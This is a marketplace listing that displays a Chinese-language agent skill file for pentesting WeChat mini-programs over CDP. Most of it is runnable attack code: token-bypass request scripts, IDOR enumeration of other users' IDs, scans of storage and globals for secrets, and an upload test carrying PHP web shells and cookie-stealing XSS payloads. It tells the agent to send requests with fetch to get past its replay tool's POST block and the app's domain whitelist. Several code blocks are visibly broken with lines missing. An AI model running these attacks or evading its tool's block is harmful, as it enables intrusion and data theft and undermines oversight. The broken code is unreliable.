Skip to content
Back to search

miniapp-security-core

SkillWorks with Claude CodeGitHub

Use when reviewing authorized WeChat mini-program or mini-app targets for authentication bypass, IDOR, undefined-path access, API abuse, decryption and signature analysis, runtime reverse engineering, route mapping, and sensitive data exposure, with file-submission attack surfaces intentionally excluded.

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today
Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/eeeeeeeeee-code--e0e1-wx/badge.svg)](/listings/eeeeeeeeee-code--e0e1-wx)

HTML

<a href="/listings/eeeeeeeeee-code--e0e1-wx"><img src="/api/listings/eeeeeeeeee-code--e0e1-wx/badge.svg" alt="findsafeskills safety rating" /></a>

Install

i

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

SKILL.md · Manifest · 3,245 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. ---
  2. name: miniapp-security-core
  3. description: Use when reviewing authorized WeChat mini-program or mini-app targets for authentication bypass, IDOR, undefined-path access, API abuse, decryption and signature analysis, runtime reverse engineering, route mapping, and sensitive data exposure, with file-submission attack surfaces intentionally excluded.
  4. ---
  5. ## ❌ 红线(违反即失败)
  6. 1. **未完整复述 Checklist** 就调用 MCP 工具
  7. 2. **自动重放支付、退款、提现、下单等资金类接口**(`build_replay_plan` 只生成计划,不自动发送)
  8. 3. **未经 `dryRun=false` 和 `requireConfirm=true` 就修改 Vuex state**
  9. 4. **把解密结果用于绕过服务端校验而非安全评估**
  10. ---
  11. ## ⚠️ 授权声明(必读)
  12. > **本 skill 仅用于已获授权的安全评估、CTF 竞赛、合法渗透测试和防御性安全研究。**
  13. > **目标小程序须为授权评估对象。禁止对未授权系统使用任何主动探测手段。使用者须自行承担法律责任。**
  14. ---
  15. ## 评估流程总览
  16. | Phase | 目标 | 核心工具 | 输出 |
  17. |-------|------|---------|------|
  18. | 0. 环境搭建 | CDP 连接 + Hook 注入 | `connection_ops` / `network_ops` | 流量采集就绪 |
  19. | 1. 侦察 | 路由 + 接口资产盘点 | `runtime_ops` / `debugger_ops` | 接口清单(含路由标注)|
  20. | 2. 渗透线索 | IDOR / 认证绕过 / 资金接口 | `analysis_ops` / `runtime_ops(fetch)` | 风险候选清单 |
  21. | 3. 解密分析 | 加密参数破解 + 密钥追踪 | `decrypt_ops` / `debugger_ops` | 明文数据 |
  22. | 4. 逆向审计 | 代码保护分析 + 硬编码凭据扫描 | `debugger_ops` / `reverse_ops` | 凭据泄露报告 |
  23. | 5. State 检查 | Vuex 越权状态验证 | `runtime_ops` | 越权路径 |
  24. | 6. 报告导出 | Markdown 安全评估报告 | `analysis_ops` | 完整报告 |
  25. > **最小可行扫描(时间受限时)**:Phase 0 → Phase 1(全路由)→ Phase 2.1-2.2.1(认证/IDOR/undefined路径)→ Phase 2.5.1(专项风险:JWT-in-URL/静态sign/enc/多appId)→ Phase 2.8(HTTP 行为变化矩阵:传统登录/上传/CVE路径/路由参数)→ Phase 4.7 第一轮(CRITICAL 凭据扫描)→ Phase 6
  26. ---
  27. ## 快速决策树(从目标直达 Phase)
  28. ```
  29. 当前任务是什么?
  30. │
  31. ├─ 刚拿到小程序,需要全面摸底
  32. │ └─ 走完整流程:Phase 0 → 1 → 2 → 4.7 → 6
  33. │
  34. ├─ 时间有限,只测高价值面
  35. │ └─ 最小可行扫描:0 → 1 → 2.1 + 2.2 + 2.2.1 → 2.5.1 → 4.7(CRITICAL)→ 6
  36. │
  37. ├─ 发现加密参数(mina_edata / sign / enc)需要解密
  38. │ └─ Phase 3 解密分析 → 场景 2(AES-CBC)/ 场景 3(唯品会三层)/ 场景 14(cachedata)
  39. │
  40. ├─ 发现含 ID 参数的接口,怀疑 IDOR
  41. │ └─ Phase 2.2 主动验证 → Phase 2.2.1(/undefined 路径)→ 场景 5
  42. │
  43. ├─ 发现地址 / 订单接口,测写越权
  44. │ └─ Phase 2.4.A(地址越权)/ Phase 2.4.B(订单越权)→ 场景 5
  45. │
  46. ├─ 源码有混淆 / JSVMP / Webpack 保护
  47. │ └─ Phase 4.1 识别类型 → Phase 4.2(Webpack)/ 4.3(OB)/ 4.4(JSVMP)→ 场景 7/8
  48. │
  49. ├─ 怀疑硬编码了 AK/SK / AppSecret / 数据库密码
  50. │ └─ Phase 4.7.0(运行时优先)→ Phase 4.7.1-4.7.9(正则扫描)→ 场景 11
  51. │
  52. ├─ 接口认证疑似可绕过(不带 token 也返回数据)
  53. │ └─ Phase 2.1 认证绕过主动验证 → 判断标准表
  54. │
  55. ├─ 看到 /login 全部 404,疑似迁移到 OAuth2
  56. │ └─ Phase 2.8 ① → 场景 16(认证机制迁移探测)
  57. │
  58. └─ 需要生成完整评估报告
  59. └─ Phase 6 → analysis_ops(generate_security_notes)
  60. ```
  61. ---
  62. ## Phase 0:环境搭建
  63. ```
  64. MCP 操作顺序(推荐每次评估开始时执行):
  65. 1. connection_ops(action="connect_wmpf")
  66. → 连接 WMPFDebugger CDP,默认 ws://127.0.0.1:62000
  67. 2. network_ops(action="network_enable")
  68. → 启用 CDP Network domain,开始采集
  69. 3. 注入路由发现脚本 __routeNavigator(必须在 select_appservice_context 之前!)
  70. ⚠️ 此步骤要使用 runtime_eval(page-frame 上下文),不是 runtime_eval_appservice。
  71. 脚本依赖 window.frames 遍历跨 frame 找到拥有完整 __wxConfig 和 getCurrentPages
  72. 的 appservice frame;若在 appservice 上下文注入则 frames 遍历失效,路由数量仍然不足。
  73. # Step A: 读取注入脚本内容
  74. Read(file_path="package/applet_routes/nav_inject.js")
  75. → 获取 nav_inject.js 全文(约 360 行)
  76. # Step B: 注入到 page-frame 上下文
  77. runtime_ops(action="runtime_eval",
  78. expression="<nav_inject.js 全文内容>",
  79. await_promise=False)
  80. # Step C: 验证注入成功
  81. runtime_ops(action="runtime_eval",
  82. expression="typeof window.__routeNavigator")
  83. → 返回 "object" 表示注入成功;返回 "undefined" 则重试 Step B
  84. 4. connection_ops(action="select_appservice_context")
  85. → 自动识别 appservice Runtime context,供后续 runtime_eval_appservice 使用
  86. 5. network_ops(action="hook_wx_request")
  87. → 在 appservice 上下文注入 wx.request hook,采集请求/响应原始数据
  88. 6. network_ops(action="hook_fetch_and_xhr")
  89. → 注入 fetch/XHR hook(Web 端 H5 页面)
  90. 7. runtime_ops(action="dump_runtime_snapshot")
  91. → 当前页面状态快照(URL、路由、存储摘要)
  92. → 记录当前路由路径,后续所有请求均标注来源路由
  93. ```
  94. ---
  95. ## Phase 1:路由发现与接口侦察
  96. ### 1.0 路由资产盘点(v2.10 重写 — 使用 __routeNavigator)
  97. **核心原则:每个请求必须标注来源路由,每条路由都必须被测试。**
  98. > ⚠️ **前提**:Phase 0 Step 3 的 `__routeNavigator` 必须已注入。如果本步骤报错,先确认注入成功。
  99. ```
  100. # Step 1: 获取完整路由表(含分包)—— 一次调用取代旧的两步搜索
  101. runtime_ops(action="runtime_eval",
  102. expression="window.__routeNavigator.fetchConfigJson()")
  103. → 解析返回 JSON:
  104. pages = [{route, source, isTabBar}, ...] → 含主包 + 所有分包路由
  105. tabBarPages = ["pages/home/index", ...]
  106. currentRoute = "pages/xxx/xxx" → 当前所在页面
  107. guardEnabled = false
  108. ⚠️ 若返回 "undefined" 或报错:
  109. - 检查 Phase 0 Step C 是否返回 "object"
  110. - 重新执行 Phase 0 Step B(重注入)再重试
  111. # Step 2: 获取当前页面栈(辅助确认路由上下文)
  112. runtime_ops(action="runtime_eval_appservice",
  113. expression="(()=>{const p=getCurrentPages();return p.map(pg=>({route:pg.route,options:pg.options}))})()")
  114. ```
  115. **路由表解读要点:**
  116. - `source="main"` → 主包页面
  117. - `source="subPackageName"` → 对应分包,代表分包已在 `__wxConfig` 中声明
  118. - `isTabBar=true` → 导航时用 `switchTabJson`,否则用 `navigateToJson` 或 `reLaunchJson`
  119. - 若 `pages` 仍然很少(< 5):说明小程序尚未加载子包配置,先随意触发几次页面切换再重试
  120. ### 1.1 逐路由流量采集(优先级优先 — v2.12)
  121. **核心原则:按漏洞价值排序遍历,不要按路由列表顺序机械扫描。**
  122. #### 路由优先级分级
  123. 拿到 `fetchConfigJson()` 的完整路由表后,先按以下规则分组再依次测试:
  124. ```
  125. P0 — 必测(最高价值,直接对应已知漏洞类型)
  126. 关键词命中任意一个即归入:
  127. order / pay / payment / cart / checkout / coupon / refund ← 支付/订单
  128. address / profile / setting / account / userInfo ← 个人信息/写越权
  129. admin / manage / backstage / internal / debug ← 后台/管理
  130. borrow / return / renew / reserve ← 借阅(图书馆类)
  131. donate / purchase / buy ← 购买/捐赠
  132. P1 — 重要(常含 IDOR 或认证绕过线索)
  133. detail / Detail / info / get / query / view ← ⚡ 详情页(必须配合 ID 参数测试)
  134. list / search / result / record / history ← 列表(可枚举,为 Detail IDOR 提供 ID 来源)
  135. auth / login / register / bind / verify / openid ← 认证流程
  136. mine / my / user / member / reader ← 用户中心
  137. P2 — 普通(扫完 P0/P1 后再补)
  138. index / home / activity / service / navigation ← 首页/导航
  139. notice / article / news / video / exhibit / about ← 内容展示
  140. P3 — 低优先(通常纯展示,无接口)
  141. agreement / guide / success / result / map / web-view ← 静态/结果/地图
  142. demo / live / readNow ← 演示/直播
  143. ```
  144. ---
  145. #### ⚡ Detail 路由专项协议(P1 必执行)
  146. **核心问题**:Detail 路由不带 ID 参数直接导航通常返回空数据或报错,必须从对应 List 接口获取真实 ID 后再测试。
  147. ```
  148. 遇到 xxxDetail / xxxInfo / bookDetail / orderDetail / layerDetail 等路由时:
  149. Step 1: 先找 ID 来源
  150. → 检查已捕获请求中同模块的 list/query 接口响应
  151. → 从响应 JSON 中提取 id / itemId / orderId / bookId 等字段
  152. → 若无 list 数据:先导航对应 list 路由触发数据加载,再读取 ID
  153. Step 2: 带 ID 导航 Detail 路由
  154. → 方式 A(url 参数):reLaunchJson('pages-sub/xxx/detail?id=<真实ID>')
  155. → 方式 B(onLoad 注入):navigateToJson 后用 runtime_eval_appservice 调用
  156. page.onLoad({id: '<真实ID>'})
  157. Step 3: 读取 Detail 接口请求,确认接口路径和 ID 参数名
  158. Step 4: 立即执行 IDOR 测试(Phase 2.2 模板)
  159. → 用当前用户 ID 作为 BASELINE
  160. → 从 list 响应中找其他用户的 ID(如社区帖子作者、排行榜 userId)
  161. → 对比响应数据差异判断越权
  162. → 空数据 ≠ 无 IDOR(换有真实数据的 ID 重试)
  163. ```
  164. **典型 Detail 路由来源配对表:**
  165. | Detail 路由关键词 | 对应 List 路由 | ID 字段名 |
  166. |-----------------|--------------|---------|
  167. | orderDetail / order/detail | order/list / my-order/index | id / orderId |
  168. | bookDetail / book-detail | booklist / borrow/list | id / bookId / isbn |
  169. | layofficeDetail / layerDetail | legalServices/list | id |
  170. | articleDetail / docDetail | article-list / continuous | id / articleId |
  171. | myActivity/detail | myActivity/myActivity | id / activityId |
  172. | exhibitList/index / electronic-detail | exhibitList / electronic-list | id |
  173. ---
  174. ```
  175. runtime_eval_appservice(expression="(()=>{
  176. var route=(getCurrentPages().slice(-1)[0]||{}).route||'?';
  177. form:JSON.stringify(obj.formData||{}),route:route,ts:Date.now()});
  178. return origUp.apply(this,arguments);
  179. };
  180. }
  181. })()")
  182. → 有条目 → 直接跳 Step 4 执行绕过测试
  183. → 无条目 → 执行 Step 3「主动触发法」
  184. Step 3: 主动触发法(Hook 无日志时执行)
  185. runtime_eval_appservice(expression="(async ()=>{
  186. var pages=getCurrentPages();
  187. var c=pages[pages.length-1];
  188. // Step 3a: 列出所有页面方法,找潜在的上传触发入口
  189. var methods=Object.keys(c).filter(function(k){return typeof c[k]==='function';});
  190. form:JSON.stringify(obj.formData||{}),route:c.route,ts:Date.now()});
  191. return origUp.apply(this,arguments); // 继续真正上传
  192. };
  193. // 创建一个模拟图片文件
  194. var fs=wx.getFileSystemManager();
  195. var p=wx.env.USER_DATA_PATH+'/probe_trigger.jpg';
  196. try{fs.writeFileSync(p,'GIF89aFAKE','utf8');}catch(e){}
  197. if(opts&&typeof opts.success==='function')
  198. opts.success({tempFilePaths:[p],tempFiles:[{path:p,size:9}]});
  199. };
  200. var fs=wx.getFileSystemManager();
  201. var p=wx.env.USER_DATA_PATH+'/probe_trigger.jpg';
  202. try{fs.writeFileSync(p,'GIF89aFAKE','utf8');}catch(e){}
  203. if(opts&&typeof opts.success==='function')
  204. opts.success({tempFiles:[{tempFilePath:p,fileType:'image',size:9}]});
  205. };
  206. // Step 3c: 逐一调用页面 handler,用 fake tap event 触发,监控哪个触发了上传
  207. var fakeEvent={type:'tap',timeStamp:Date.now(),
  208. target:{id:'',dataset:{},offsetLeft:0,offsetTop:0},
  209. currentTarget:{id:'',dataset:{},offsetLeft:0,offsetTop:0},
  210. touches:[{identifier:0,pageX:100,pageY:100,clientX:100,clientY:100}],
  211. changedTouches:[{identifier:0,pageX:100,pageY:100}],
  212. detail:{x:100,y:100}};
  213. var triggeredBy=null;
  214. for(var m of methods){
  215. try{c[m].call(c,fakeEvent);}catch(e){}
  216. await new Promise(function(r){setTimeout(r,500);});
  217. triggeredBy=m;
  218. break;
  219. }
  220. }
  221. // 恢复
  222. return JSON.stringify({
  223. methods:methods,
  224. triggeredBy:triggeredBy,
  225. });
  226. })()")
  227. → 若所有方法均未触发:
  228. runtime_eval_appservice("JSON.stringify(getCurrentPages().slice(-1)[0].data)")
  229. - 从 get_all_requests / DNS prefetch 反推 OSS 域名
  230. - 从 Storage 搜索 ossInfo / accessKeyId 字段
  231. Step 4: 对捕获的上传 URL 执行完整文件类型绕过测试
  232. runtime_eval_appservice(expression="(async ()=>{
  233. var token=wx.getStorageSync('token')||wx.getStorageSync('access_token')||'';
  234. var fs=wx.getFileSystemManager();
  235. var base=wx.env.USER_DATA_PATH;
  236. var tests=[
  237. {label:'baseline_jpg', fn:'ok.jpg', mime:'image/jpeg', body:'\\xff\\xd8\\xff\\xe0normal'},
  238. {label:'php_as_jpg', fn:'shell.php', mime:'image/jpeg', body:'<?php phpinfo();?>'},
  239. {label:'phtml', fn:'shell.phtml', mime:'image/jpeg', body:'<?php system($_GET[\"c\"]);?>'},
  240. {label:'gif_php', fn:'shell.gif', mime:'image/gif', body:'GIF89a<?php system($_GET[\"c\"]);?>'},
  241. {label:'double_ext', fn:'img.php.jpg', mime:'image/jpeg', body:'<?php phpinfo();?>'},
  242. {label:'svg_xss', fn:'xss.svg', mime:'image/svg+xml', body:'<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(document.cookie)</script></svg>'},
  243. {label:'html_xss', fn:'xss.html', mime:'text/plain', body:'<script>alert(document.cookie)</script>'},
  244. ];
  245. var results=[];
  246. for(var t of tests){
  247. fs.writeFileSync(base+'/'+t.fn, t.body, 'utf8');
  248. var r=await new Promise(function(res){
  249. header:{'Authorization':'Bearer '+token,token:token},
  250. formData:{},
  251. success:function(r){
  252. var parsed={};try{parsed=JSON.parse(r.data);}catch(e){}
  253. var fileUrl=(parsed.data&&(parsed.data.url||parsed.data))||parsed.url||'';
  254. res({label:t.label,file:t.fn,status:r.statusCode,code:parsed.code,
  255. fileUrl:String(fileUrl),resp:String(r.data).slice(0,300)});
  256. },
  257. fail:function(e){res({label:t.label,file:t.fn,status:'fail',err:String(e.errMsg||'').slice(0,80)});}
  258. });
  259. });
  260. results.push(r);
  261. }
  262. return JSON.stringify(results,null,2);
  263. })()")
  264. Step 5: 验证 Content-Type 与 Content-Disposition(决定 XSS 是否可利用)
  265. runtime_eval_appservice(expression="(async ()=>{
  266. var urls={svg:'<svg URL>',html:'<html URL>',php:'<php URL>',pdf:'<pdf URL>'};
  267. var results=[];
  268. for(var k in urls){
  269. var r=await new Promise(function(res){wx.request({
  270. url:urls[k],method:'GET',
  271. success:function(r){
  272. var h=r.header||{};
  273. res({type:k,status:r.statusCode,
  274. ct:h['Content-Type']||h['content-type']||'?',
  275. cd:h['Content-Disposition']||h['content-disposition']||'none(inline!)',
  276. body:JSON.stringify(r.data||'').slice(0,150)});
  277. },fail:function(e){res({type:k,status:'fail'});}
  278. })});
  279. results.push(r);
  280. }
  281. return JSON.stringify(results,null,2);
  282. })()")
  283. Step 6: 判断结果
  284. .svg + ct=image/svg+xml + cd=none → 🔴 浏览器 inline 执行 → Stored XSS 确认
  285. .html + ct=text/html + cd=none → 🔴 浏览器 inline 执行 → Stored XSS 确认
  286. .php 上传成功 + cd=none → ⚠️ OSS 不执行 PHP,但无扩展名检查
  287. 任意文件 + cd=attachment → ✅ 强制下载,XSS 不可直接触发
  288. 服务端拒绝"格式不支持" → ✅ 白名单保护
  289. ```
  290. ---
  291. #### 遍历流程
  292. ```
  293. Step 1: 从 fetchConfigJson() 路由表按上面规则分组为 P0/P1/P2/P3
  294. Step 2: 按 P0 → P1 → P2 → P3 顺序依次导航,每个路由:
  295. For each route in [P0, P1, P2, P3 顺序]:
  296. ┌──────────────────────────────────────────────────────────┐
  297. │ 路由: pages-sub/borrow/my-order/index (P0) │
  298. │ 1. 导航(统一优先 reLaunchJson): │
  299. │ runtime_eval("window.__routeNavigator │
  300. │ .reLaunchJson('pages-sub/...')") │
  301. │ 2. 触发刷新(onPullDownRefresh 或 onShow) │
  302. │ 3. 读取新增请求 │
  303. │ 4. ⚡ 空流量路由?→ 按决策树处理(最多重试 2 次) │
  304. │ 5. 路由类型专项处理: │
  305. │ · detail/Detail 类 → 执行 Detail ID 协议 │
  306. │ · order/pay/address 类 → 标记认证绕过/IDOR 候选 │
  307. │ 6. 记录: URL / 方法 / 参数 / 认证 / 加密,标注来源路由 │
  308. └──────────────────────────────────────────────────────────┘
  309. Step 3: P0 路由采集完成后,立即执行 Phase 2 渗透验证
  310. P1/P2/P3 继续在后台补充遍历
  311. ```
  312. #### ⚡ 空流量路由决策树
  313. ```
  314. 导航后无新请求?
  315. │
  316. ├─ YES → 尝试强制刷新(onPullDownRefresh / onShow)
  317. │ ├─ 有新请求 → 正常采集
  318. │ └─ 仍无请求(重试 2 次)→ 判定为静态/纯UI路由
  319. │ → 记录"[无接口 — 跳过]",进入下一条路由
  320. │ ← ⚠️ 最多重试 2 次,不要死磕
  321. │
  322. └─ NO → 正常采集
  323. ```
  324. > **静态路由常见特征**:协议/关于/引导/成功页、地图、web-view 包装页。
  325. **路由请求标注格式(在分析和报告中均使用):**
  326. ```
  327. 路由: pages-sub/borrow/my-order/detail [P1 — Detail — 已从 list 提取 ID]
  328. └── GET /api/borrow/order/detail?id=123 [认证: token]
  329. 风险标签: IDOR 已验证 / 他人订单数据可读
  330. 风险标签: 文件类型绕过已测 / .php 上传成功 → RCE
  331. 路由: pages-sub/profile/address-list [P0 — 地址]
  332. ├── GET /api/user/address/list [认证: token]
  333. └── POST /api/user/address/add [认证: token]
  334. 风险标签: 地址写越权候选
  335. 路由: pages-sub/mine/agreement [P3 — 静态]
  336. └── [无接口 — 纯展示,跳过]
  337. ```
  338. ### 1.2 全量流量汇总
  339. 在完成所有路由的遍历采集后:
  340. ```
  341. network_ops(action="get_all_requests")
  342. → 返回 CDP + wx.request + fetch/XHR 归一化请求列表(含来源路由标注)
  343. analysis_ops(action="get_api_inventory")
  344. → 返回去重后的接口清单:路径、方法、状态码、参数、认证字段、来源路由、风险标签
  345. analysis_ops(action="generate_api_table_markdown")
  346. → Markdown 接口表格(按路由分组)
  347. ```
  348. ### 1.3 加密参数识别
  349. ```
  350. network_ops(action="search_runtime_keywords",
  351. keywords=["mina_edata", "encrypt", "AES", "3DES", "sign", "token", "cipher"])
  352. → 在 window、document、storage 和内联脚本中搜索关键词
  353. network_ops(action="inspect_wx_config")
  354. → 检查 __wxConfig、__wxAppCode__ 中的关键词命中
  355. decrypt_ops(action="auto_detect_encoding", value="<加密参数值>")
  356. → 自动识别编码类型(base64 / hex / url_encoded)
  357. ```
  358. ### 1.4 脚本分析
  359. ```
  360. debugger_ops(action="list_scripts")
  361. → 列出已加载脚本
  362. debugger_ops(action="search_in_sources", query="encrypt|AES|sign|request|decrypt|crypto|md5|sha|base64")
  363. → 全源码搜索加密/签名关键词
  364. debugger_ops(action="get_script_source", url="<脚本URL>")
  365. → 获取脚本内容
  366. # v2.0 新增:检测代码保护
  367. debugger_ops(action="search_in_sources", query="_0x|obfuscator|jsvmp|virtualMachine|while.*switch|webpackJsonp")
  368. → 识别混淆/JSVMP/Webpack 打包
  369. ```
  370. > ⚠️ **cachedata 脚本降级方案(v2.5 新增)**:若 `list_scripts` 返回的 URL 全部以 `.cachedata` 结尾,或 `search_in_sources` 对所有查询均返回 0 命中,或 `get_script_source` 报 `"Debugger agent is not enabled"`,说明脚本以 WX 二进制缓存格式存储,静态文本搜索完全失效。此时切换到**运行时扫描**替代方案:
  371. >
  372. > ```
  373. > # 替代方案1: 运行时遍历全局函数名,定位加密函数
  374. > runtime_ops(action="runtime_eval",
  375. > expression="(()=>Object.keys(globalThis).filter(k=>typeof globalThis[k]==='function'&&
  376. > /encrypt|decrypt|sign|md5|sha|aes|des|hmac|cipher|encode/i.test(k)))()")
  377. >
  378. > # 替代方案2: 扫描全局变量中的硬编码密钥(见 Phase 4.7.2 的验证步骤 1-4)
  379. > runtime_ops(action="runtime_eval",
  380. > expression="(()=>{var r={};for(var k of Object.keys(globalThis||window||{})){
  381. > if(/host|gateway|env|config|api|baseUrl|key|secret|token/i.test(k)){
  382. > try{var v=String(globalThis[k]);if(v&&v!='undefined')r[k]=v.slice(0,200)}catch(e){}
  383. > }}return JSON.stringify(r)})()")
  384. >
  385. > # 替代方案3: 搜索 Storage 中的密钥字段
  386. > runtime_ops(action="runtime_eval",
  387. > expression="(()=>{try{var keys=wx.getStorageInfoSync().keys;
  388. > var r={};keys.filter(k=>/key|token|secret|sign|iv|crypto|aes|des/i.test(k))
  389. > .forEach(k=>{try{r[k]=wx.getStorageSync(k)}catch(e){}});return JSON.stringify(r)}
  390. > catch(e){return String(e)}})()")
  391. > ```
  392. ---
  393. ## Phase 2:渗透测试线索分析
  394. ### 2.1 认证与授权测试(主动验证)
  395. ```
  396. analysis_ops(action="analyze_auth_surface")
  397. → 认证字段分布、token 位置(header/query/body)、缺少认证的敏感接口
  398. → 按路由分组展示,标注每个路由的认证覆盖盲区
  399. ```
  400. **认证绕过必须主动发送请求验证,不能只看静态分析结果:**
  401. ```
  402. # Step 1: 从 get_request_detail 提取目标请求的完整信息
  403. # Step 2: 用 runtime_eval (fetch) 或 runtime_eval_appservice (wx.request) 主动发送修改后的请求
  404. # Step 3: 对比响应判断是否绕过
  405. # === 认证绕过主动测试模板 ===
  406. runtime_ops(action="runtime_eval", expression="(async ()=>{
  407. var token='<从JWT解析或请求中提取的token>';
  408. var url='<目标接口URL>';
  409. var method='<GET/POST>';
  410. var body='<原始请求体JSON>';
  411. var results=[];
  412. // 测试1: 不带 token
  413. var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});
  414. results.push({test:'no_token',status:r1.status,body:await r1.text()});
  415. // 测试2: 带空 token
  416. var r2=await fetch(url,{method:method,headers:{'Authorization':'Bearer ','Content-Type':'application/json'},body:body});
  417. results.push({test:'empty_token',status:r2.status,body:await r2.text()});
  418. // 测试3: 带伪造 token
  419. var r3=await fetch(url,{method:method,headers:{'Authorization':'Bearer fake_token_12345','Content-Type':'application/json'},body:body});
  420. results.push({test:'fake_token',status:r3.status,body:await r3.text()});
  421. // 测试4: 正常 token(基线)
  422. var r4=await fetch(url,{method:method,headers:{'Authorization':'Bearer '+token,'Content-Type':'application/json'},body:body});
  423. results.push({test:'baseline',status:r4.status,body:await r4.text()});
  424. return JSON.stringify(results,null,2);
  425. })()")
  426. # === 认证绕过判断标准 ===
  427. # no_token 返回 200 + 正常数据 → 🔴 无认证保护(严重)
  428. # empty_token 返回 200 + 正常数据 → 🔴 token 验证不严格
  429. # fake_token 返回 200 + 正常数据 → 🔴 token 未真正校验
  430. # baseline 返回 200,其余返回 401/403 → ✅ 认证正常
  431. # 所有测试返回相同数据 → 🔴 接口根本不需要认证
  432. #
  433. # ⚠️ 歧义情况:所有测试(含 baseline)均返回相同 500 →
  434. # 不等于"未保护"!服务端可能在解析 token 时崩溃。
  435. # 判断方法:检查 500 响应体是否包含堆栈/debug 信息(信息泄露)。
  436. # 后续操作:换有效 token(从 storage 或 JWT 解码获取)构造 baseline 再测。
  437. ```
  438. **为什么用 `runtime_eval` + `fetch` 而非 `replay_ops`:**
  439. - `replay_ops` 对 POST/写操作默认阻断(`blocked_by_policy`)
  440. - `fetch` 从 webview 层面发送,绕过小程序的域名白名单限制
  441. - 直接拿到响应数据对比,无需手动验证
  442. ### 2.2 IDOR 候选发现与主动验证
  443. ```
  444. analysis_ops(action="find_idor_candidates")
  445. → 包含对象 ID 的接口(潜在 IDOR 候选)
  446. → 标注: 来源路由 + ID 参数名称 + ID 格式(自增/UUID/编码)
  447. ```
  448. **IDOR 不能只看静态分析结果,必须主动发送请求验证。以下为完整主动测试流程:**
  449. ```
  450. # Step 1: 获取原始请求详情
  451. network_ops(action="get_request_detail", request_id="<候选请求ID>")
  452. → 提取: url, method, headers, body, 响应结构
  453. # Step 2: 从 JWT/Body 中识别当前用户 ID
  454. # 如果 Authorization header 是 JWT,解码 payload 获取 userId
  455. # 如果请求体中有 openId/userId/uuid,记录当前值
  456. # Step 3: 构造 IDOR 测试向量并主动发送
  457. # 使用 runtime_eval (fetch) 绕过 replay_ops 的 POST 阻断
  458. runtime_ops(action="runtime_eval", expression="(async ()=>{
  459. var token='<从请求中提取的完整token>';
  460. var baseBody=<原始请求体JSON>;
  461. var tests=[
  462. {label:'BASELINE',body:{...baseBody}}, // null/原值(基线)
  463. {label:'IDOR_ADJACENT',body:{...baseBody,userId:baseBody.userId+1}}, // 相邻ID
  464. {label:'IDOR_FIRST',body:{...baseBody,userId:1}}, // 首个用户
  465. {label:'IDOR_ZERO',body:{...baseBody,userId:0}}, // 边界值
  466. {label:'IDOR_STRING',body:{...baseBody,userId:'admin'}}, // 类型混淆
  467. ];
  468. var results=[];
  469. for(var t of tests){
  470. var r=await fetch('<目标URL>',{
  471. method:'POST',
  472. headers:{'Authorization':'Bearer '+token,'Content-Type':'application/json'},
  473. body:JSON.stringify(t.body)
  474. });
  475. var text=await r.text();
  476. results.push({label:t.label,status:r.status,bodyLen:text.length,preview:text.slice(0,500)});
  477. }
  478. return JSON.stringify(results,null,2);
  479. })()")
  480. ```
  481. **IDOR 判断标准(按优先级):**
  482. | 响应对比 | 判断 | 后续操作 |
  483. |----------|------|---------|
  484. | BASELINE 有数据,IDOR_* 返回**不同的有效数据** | 🔴 IDOR 确认 | 提取他人数据的敏感程度,定级 |
  485. | BASELINE 有数据,IDOR_* 返回**相同数据** | ✅ 后端忽略了 userId(取 token) | 换参数位置测试 |
  486. | BASELINE 有数据,IDOR_* 返回 403 | ✅ 有权限检查 | 记录为已防御 |
  487. | BASELINE 空数据,IDOR_* 也空数据 | ⚠️ 无法判断 | 说明当前用户/目标用户均无数据,换有数据的接口测试 |
  488. | IDOR_* 返回了不同 `data.phone/name/idCard` 等字段 | 🔴 越权读取他人敏感信息 | 严重,立即报告 |
  489. **跨域请求注意**:如果目标 API 域名与当前小程序不同(如跨小程序调用),`wx.request` 会因域名白名单失败,此时 `fetch` 从 webview 层发送可绕过限制。
  490. ### 2.2.1 路径参数 undefined IDOR(v2.4 新增)
  491. **模式:URL 路径中包含 `/undefined` 段**,说明客户端 JS 变量未初始化就直接嵌入了 URL 模板(如 `` `/api/detail/${item.id}` `` 中 `item.id` 为 `undefined`),服务端收到字面字符串 `"undefined"` 后仍可能转发给数据库查询。
  492. ```
  493. # Step 1: 从已采集请求中识别路径含 /undefined 的接口
  494. network_ops(action="get_all_requests")
  495. → 筛选 path.includes('/undefined') 的条目
  496. → 这类请求常出现在页面刚加载、列表未渲染完成时触发的详情接口
  497. # Step 2: 获取原始请求完整信息
  498. network_ops(action="get_request_detail", request_id="<候选请求ID>")
  499. → 提取: url, method, headers, 认证字段
  500. ```
  501. **主动测试模板(替换 undefined 为数字 ID 枚举资源):**
  502. ```
  503. runtime_ops(action="runtime_eval", expression="(async ()=>{
  504. var baseUrl='<原始URL,含 /undefined>';
  505. var method='<GET/POST>';
  506. var headers={'Content-Type':'application/json','Authorization':'Bearer <token>'};
  507. var testIds=[1,2,3,10,100,1000,99999];
  508. var results=[];
  509. // BASELINE: 原始 /undefined 请求(确认服务端如何处理字面 undefined)
  510. var rb=await fetch(baseUrl,{method:method,headers:headers});
  511. var baseText=await rb.text();
  512. results.push({id:'undefined',status:rb.status,len:baseText.length,preview:baseText.slice(0,300)});
  513. // 枚举数字 ID — 将路径中的 /undefined 替换为 /<id>
  514. for(var id of testIds){
  515. var url=baseUrl.replace('/undefined','/'+ id);
  516. var r=await fetch(url,{method:method,headers:headers});
  517. var text=await r.text();
  518. results.push({id:id,status:r.status,len:text.length,preview:text.slice(0,400)});
  519. }
  520. return JSON.stringify(results,null,2);
  521. })()")
  522. ```
  523. **如果从响应或其他接口已获得真实 ID(如 exhibitId=42),优先测试相邻范围:**
  524. ```
  525. var testIds=[39,40,41,42,43,44,45,1,2,99999];
  526. // 相邻 ID 最容易触发他人数据,危害更直接
  527. ```
  528. **判断标准:**
  529. | 响应对比 | 判断 | 后续操作 |
  530. |----------|------|---------|
  531. | `/undefined` 返回空/错误,数字 ID 返回**他人有效数据** | 🔴 路径遍历 IDOR 确认 | 枚举更多 ID,确认数据敏感程度 |
  532. | 不同数字 ID 返回**不同用户**的数据 | 🔴 IDOR 确认(越权访问) | 提取数据字段,按越权范围定级 |
  533. | 数字 ID 返回 404/403/权限错误 | ✅ 有保护 | 记录为已防御 |
  534. | 所有 ID(包括 undefined)均返回相同错误 | ⚠️ 需认证 | 用带有效 token 的请求重测 |
